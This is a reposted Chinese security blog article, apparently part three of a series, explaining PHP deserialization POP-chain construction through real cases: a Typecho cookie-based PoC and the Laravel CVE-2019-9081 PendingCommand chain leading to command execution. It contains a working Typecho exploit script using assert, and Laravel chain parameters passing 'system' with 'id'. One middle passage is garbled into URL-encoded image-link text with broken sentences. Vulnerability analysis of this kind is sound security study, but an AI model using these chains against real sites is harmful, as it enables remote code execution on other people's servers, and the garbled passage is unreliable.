原文链接:https://skysec.top/2019/07/18/Summary-of-serialization-attacks-Part-3/

前言

接之前的两篇文章:

  1. https://www.4hou.com/web/17835.html
  2. https://www.4hou.com/web/17976.html

之前分别介绍了php序列化攻击的魔法方法、session序列化引擎以及原生类序列化问题。
本篇文章则主要从真实案例来看序列化的pop链构造。

typecho序列化

这一节就简单说一下构造链,因为之前的文章分析过,可详见:

  1. https://skysec.top/2017/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/

总结

1.找到入手点__typecho_config:

  1. $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

2.寻找可用类Typecho_Db:

  1. $db = new Typecho_Db($config['adapter'], $config['prefix']);

3.利用Typecho_Feed魔法方法__toString():

  1. $config['adapter'] => new Typecho_Feed()
  2. class Typecho_Feed __toString()

4.利用Typecho_Request魔法方法__get():

  1. $item['author']->screenName
  2. class Typecho_Request __get()

5.利用get()方法,完成利用链:

  1. get() -> _applyFilter() -> call_user_func

poc

  1. class Typecho_Feed{
  2. private $_type='ATOM 1.0';
  3. private $_items;
  4. public function __construct(){
  5. $this->_items = array(
  6. '0'=>array(
  7. 'author'=> new Typecho_Request())
  8. );
  9. }
  10. }
  11. class Typecho_Request{
  12. private $_params = array('screenName'=>'phpinfo()');
  13. private $_filter = array('assert');
  14. }
  15. $poc = array(
  16. 'adapter'=>new Typecho_Feed(),
  17. 'prefix'=>'typecho');
  18. echo base64_encode(serialize($poc));

laravel序列化

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework),若其本身出现漏洞,则对使用响应框架开发的网站影响是致命的。而这里就将分析laravel框架序列化RCE,CVE编号:CVE-2019-9081,受影响范围:laravel >= 5.7。

类名加载

我们首先随便构造一段序列化:

  1. <?php
  2. class sky{
  3. public $sky='test';
  4. }
  5. $sky = new sky();
  6. echo urlencode(serialize($sky));
  7. # O%3A3%3A%22sky%22%3A1%3A%7Bs%3A3%3A%22sky%22%3Bs%3A4%3A%22test%22%3B%7D

我们传入laravel,并进行反序列化,可以看到load方法试图加载我们随便输入的sky类,首先在$facadeNamespace中寻找指定类名:
Summary of serialization attacks Part 3(转载) - 图1Summary of serialization attacks Part 3(转载) - 图2
如果找到,则会通过loadFacade进行加载,否则则进入loadClass进行class map查找,在vendor目录下寻找所需类:
Summary of serialization attacks Part 3(转载) - 图3
Summary of serialization attacks Part 3(转载) - 图4
但是并不能找到sky类,最后会return false。
最后查看是否class名以Swift_开头:
Summary of serialization attacks Part 3(转载) - 图5
最后因为找不到对应类的定义,所以并不能成功进入反序列化流程。
但如果我们用一个存在的类,可以明显发现在findFile函数的classMap中找到了相关类,并返回进行了include:
Summary of serialization attacks Part 3(转载) - 图6
Summary of serialization attacks Part 3(转载) - 图7

危险类挖掘

挖掘一个框架的新漏洞,从框架新加入的代码入手是一个很好的思路。我们注意到laravel在5.7之后加入了PendingCommand:
Summary of serialization attacks Part 3(转载) - 图8
值得注意的是,我们查到该文件,其定义了PendingCommand类,同时注意到其两个方法:

  1. /**
  2. * Execute the command.
  3. *
  4. * @return int
  5. */
  6. public function execute()
  7. {
  8. return $this->run();
  9. }
  10. /**
  11. * Handle the object's destruction.
  12. *
  13. * @return void
  14. */
  15. public function __destruct()
  16. {
  17. if ($this->hasExecuted) {
  18. return;
  19. }
  20. $this->run();
  21. }

非常有意思的是,该类有魔法方法__destruct,而该魔法方法会调用run函数,而run函数可以进行执行命令。
我们查看其构造方式:

  1. public function __construct($command, $parameters,$class,$app)
  2. {
  3. $this->command = $command;
  4. $this->parameters = $parameters;
  5. $this->test=$class;
  6. $this->app=$app;
  7. }

一共需要用到4个属性,我们查阅对应手册:
Summary of serialization attacks Part 3(转载) - 图9

run & mockConsoleOutput

我们跟进run方法:

  1. public function run()
  2. {
  3. $this->hasExecuted = true;
  4. $this->mockConsoleOutput();
  5. try {
  6. $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
  7. } catch (NoMatchingExpectationException $e) {
  8. if ($e->getMethodName() === 'askQuestion') {
  9. $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
  10. }
  11. throw $e;
  12. }
  13. if ($this->expectedExitCode !== null) {
  14. $this->test->assertEquals(
  15. $this->expectedExitCode, $exitCode,
  16. "Expected status code {$this->expectedExitCode} but received {$exitCode}."
  17. );
  18. }
  19. return $exitCode;
  20. }

关注到第一个关键点:

  1. $this->mockConsoleOutput();

我们跟进该函数:

  1. protected function mockConsoleOutput()
  2. {
  3. $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
  4. (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
  5. ]);
  6. foreach ($this->test->expectedQuestions as $i => $question) {
  7. $mock->shouldReceive('askQuestion')
  8. ->once()
  9. ->ordered()
  10. ->with(Mockery::on(function ($argument) use ($question) {
  11. return $argument->getQuestion() == $question[0];
  12. }))
  13. ->andReturnUsing(function () use ($question, $i) {
  14. unset($this->test->expectedQuestions[$i]);
  15. return $question[1];
  16. });
  17. }
  18. $this->app->bind(OutputStyle::class, function () use ($mock) {
  19. return $mock;
  20. });
  21. }

首先是第一步:

  1. $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
  2. (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
  3. ]);

我们跟进createABufferedOutputMock:

  1. private function createABufferedOutputMock()
  2. {
  3. $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
  4. ->shouldAllowMockingProtectedMethods()
  5. ->shouldIgnoreMissing();
  6. foreach ($this->test->expectedOutput as $i => $output) {
  7. $mock->shouldReceive('doWrite')
  8. ->once()
  9. ->ordered()
  10. ->with($output, Mockery::any())
  11. ->andReturnUsing(function () use ($i) {
  12. unset($this->test->expectedOutput[$i]);
  13. });
  14. }
  15. return $mock;
  16. }

这里如果想继续走下去,我们需要属性$this->test->expectedOutput
Summary of serialization attacks Part 3(转载) - 图10
那么有没有类有expectedOutput呢?我们全局搜索,发现在Illuminate\Foundation\Testing\Concerns中存在这样的属性。
但这样的类很难被实例化,无法走通后面的路。但此时我们可以巧用魔法方法get:当我们试图获取一个不可达属性,类会自动调用get函数。
我们找到如下类:
vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php
Summary of serialization attacks Part 3(转载) - 图11
可以使用我们经常使用的小trick,设置键名为expectedOutput的数组,即可利用。
然后是第二步:

  1. foreach ($this->test->expectedQuestions as $i => $question)

此处依旧可以使用__get方法,定义键名为expectedQuestions的数组即可。

run & 实例化对象

到此为止,我们已经能构造出PendingCommand前3个参数的值了:

  1. $test = new Illuminate\Auth\GenericUser(
  2. array(
  3. "expectedOutput"=>array("0"=>"1"),
  4. "expectedQuestions"=>array("0"=>"1")
  5. )
  6. );
  7. $command = "system";
  8. $parameters = array('id');

那么最后一个参数$app同样尤为关键,我们继续跟进run的代码,来到关键第三步:

  1. $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

我们跟入这一句,可以发现,首先代码在实例化对象:

  1. $this->app[Kernel::class]

然后再去调对应的call方法,那么跟入不难发现,其想要实例化的对象是:

  1. Illuminate\Contracts\Console\Kernel

首先进入:
Summary of serialization attacks Part 3(转载) - 图12
跟进make:

  1. public function make($abstract, array $parameters = [])
  2. {
  3. $abstract = $this->getAlias($abstract);
  4. if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
  5. $this->loadDeferredProvider($abstract);
  6. }
  7. return parent::make($abstract, $parameters);
  8. }

再跟进其父类的make:

  1. public function make($abstract, array $parameters = [])
  2. {
  3. return $this->resolve($abstract, $parameters);
  4. }

跟进resolve:

  1. ...
  2. $concrete = $this->getConcrete($abstract);
  3. ...

那么此时发现Summary of serialization attacks Part 3(转载) - 图13abstract):
vendor/laravel/framework/src/Illuminate/Container/Container.php

  1. $concrete = $this->getConcrete($abstract);

跟进getConcrete:

  1. protected function getConcrete($abstract)
  2. {
  3. if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
  4. return $concrete;
  5. }
  6. // If we don't have a registered resolver or concrete for the type, we'll just
  7. // assume each type is a concrete name and will attempt to resolve it as is
  8. // since the container should be able to resolve concretes automatically.
  9. if (isset($this->bindings[$abstract])) {
  10. return $this->bindings[$abstract]['concrete'];
  11. }
  12. return $abstract;
  13. }

我们注意到,如果bindings[Summary of serialization attacks Part 3(转载) - 图14abstract][‘concrete’]。
而bindings是类Container的属性,同时注意到类Container中也有可以RCE的call方法。那么现在思路很清晰:我们可以任意实例化类Container的子类,这样在其子类调用call的时候,会触发类Container的call方法,那么即可达成RCE。
而这样的类选择类Container的子类:Illuminate\Foundation\Application再好不过。
Summary of serialization attacks Part 3(转载) - 图15bindings只要存在键名为Illuminate\Contracts\Console\Kernel的数组,就能进入该if条件句,那么我们只要按如下进行构造:

  1. array(
  2. "Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")
  3. )

就可以保证返回值为Illuminate\Foundation\Application。
接下来会判断是否可以build:

  1. if ($this->isBuildable($concrete, $abstract)) {
  2. $object = $this->build($concrete);
  3. } else {
  4. $object = $this->make($concrete);
  5. }

我们跟进isBuildable:

  1. protected function isBuildable($concrete, $abstract)
  2. {
  3. return $concrete === $abstract || $concrete instanceof Closure;
  4. }

如果Summary of serialization attacks Part 3(转载) - 图16abstract相等则可以build。
但我们现在明显:

  1. $concrete = 'Illuminate\Foundation\Application';
  2. $abstract = 'Illuminate\Contracts\Console\Kernel';

所以会进入else分支,继续make。
而make时,我们注意到:
Summary of serialization attacks Part 3(转载) - 图17
而else分支传入make的值为:

  1. $object = $this->make($concrete);

这样一来直接就构成了后面:

  1. $concrete = $this->getConcrete($abstract);

这次bindings数组里并没有键名为Illuminate\Foundation\Application的数组里,于是直接回返回$abstract的值,这样一来就达到了实例化Illuminate\Foundation\Application的目的:

  1. $concrete = $abstract = 'Illuminate\Foundation\Application'

Summary of serialization attacks Part 3(转载) - 图18
最后则可以让最后的Summary of serialization attacks Part 3(转载) - 图19%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-21-58-57.png)%0A%5B!%5Bimg%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-00-19.png)%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-00-19.png)%0A%E7%B4%A7%E6%8E%A5%E7%9D%80%E4%BC%9A%E8%B0%83%E7%94%A8Illuminate%5CFoundation%5CApplication%E7%88%B6%E7%B1%BBIlluminate%5CContainer%5CContainer%E7%9A%84call%E6%96%B9%E6%B3%95%EF%BC%9A%0Avendor%2Flaravel%2Fframework%2Fsrc%2FIlluminate%2FContainer%2FContainer.php%0A%5B!%5Bimg%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-18-33-58.png)%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-18-33-58.png)%0A%5B!%5Bimg%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-03-01.png)%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-03-01.png)%0A%E6%9C%80%E5%90%8E%E8%B5%B0%E5%85%A5%E8%BF%99%E4%B8%AAcall_user_func_array%EF%BC%8C%E8%80%8C#card=math&code=this-%3Eapp%5BKernel%3A%3Aclass%5D%E7%9A%84%E5%80%BC%E5%8F%98%E4%B8%BAIlluminate%5CFoundation%5CApplication%E3%80%82%E4%B8%BA%E4%BA%86%E6%9B%B4%E5%8A%A0%E7%9B%B4%E8%A7%82%EF%BC%8C%E6%88%91%E4%BB%AC%E5%9C%A8%E8%BF%99%E4%B8%AA%E4%BD%8D%E7%BD%AE%E5%81%9A%E5%A6%82%E4%B8%8B%E6%94%B9%E5%86%99%EF%BC%9A%0A%5B%21%5Bimg%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-21-58-57.png%29%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-21-58-57.png%29%0A%5B%21%5Bimg%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-00-19.png%29%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-00-19.png%29%0A%E7%B4%A7%E6%8E%A5%E7%9D%80%E4%BC%9A%E8%B0%83%E7%94%A8Illuminate%5CFoundation%5CApplication%E7%88%B6%E7%B1%BBIlluminate%5CContainer%5CContainer%E7%9A%84call%E6%96%B9%E6%B3%95%EF%BC%9A%0Avendor%2Flaravel%2Fframework%2Fsrc%2FIlluminate%2FContainer%2FContainer.php%0A%5B%21%5Bimg%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-18-33-58.png%29%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-18-33-58.png%29%0A%5B%21%5Bimg%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-03-01.png%29%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-03-01.png%29%0A%E6%9C%80%E5%90%8E%E8%B5%B0%E5%85%A5%E8%BF%99%E4%B8%AAcall_user_func_array%EF%BC%8C%E8%80%8C&id=y4Zcv)callback是我们可以控制的system,而getMethodDependencies(),我们跟进:
Summary of serialization attacks Part 3(转载) - 图20
最后会返回我们需要的参数id,那么这样一来,即可RCE成功:
Summary of serialization attacks Part 3(转载) - 图21

总结

laravel整个反序列化RCE链用的非常漂亮:
1.类PendingCommand 利用 destruct触发run()方法
2.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 构造数组
3.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 利用
get()魔法方法满足mockConsoleOutput
4.利用任意实例化对象,实例化Illuminate\Foundation\Application
5.调用call触发父类call方法RCE

后记

真实的chain构造远比之前例题中的难上多倍,但整个过程非常有趣,可以学到不少姿势~